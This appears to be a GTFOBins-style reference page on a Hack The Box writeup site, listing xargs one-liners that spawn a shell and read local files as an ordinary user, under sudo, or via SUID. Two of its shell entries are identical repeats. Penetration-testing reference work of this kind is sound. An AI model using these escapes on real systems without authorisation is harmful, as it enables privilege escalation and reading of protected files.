~/bokkapig
hack the box machine writeups

xargs

Shell

This executable can spawn an interactive system shell.
  1. Version requirementsGNU
    This function can be performed by any unprivileged user.
    xargs -a /dev/null /bin/sh
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    xargs -a /dev/null /bin/sh
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.
    xargs -a /dev/null /bin/sh -p
  2. This function can be performed by any unprivileged user.
    xargs -a /dev/null /bin/sh
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    xargs -a /dev/null /bin/sh
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.
    xargs -a /dev/null /bin/sh -p
  3. This function can be performed by any unprivileged user.
    echo x | xargs -o -a /dev/null /bin/sh
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo x | xargs -o -a /dev/null /bin/sh
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.
    echo x | xargs -o -a /dev/null /bin/sh -p

File read

This executable can read data from local files.
  1. Version requirementsGNU
    This function can be performed by any unprivileged user.
    xargs -a /path/to/input-file -0
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    xargs -a /path/to/input-file -0
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    xargs -a /path/to/input-file -0
    RemarksThe content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.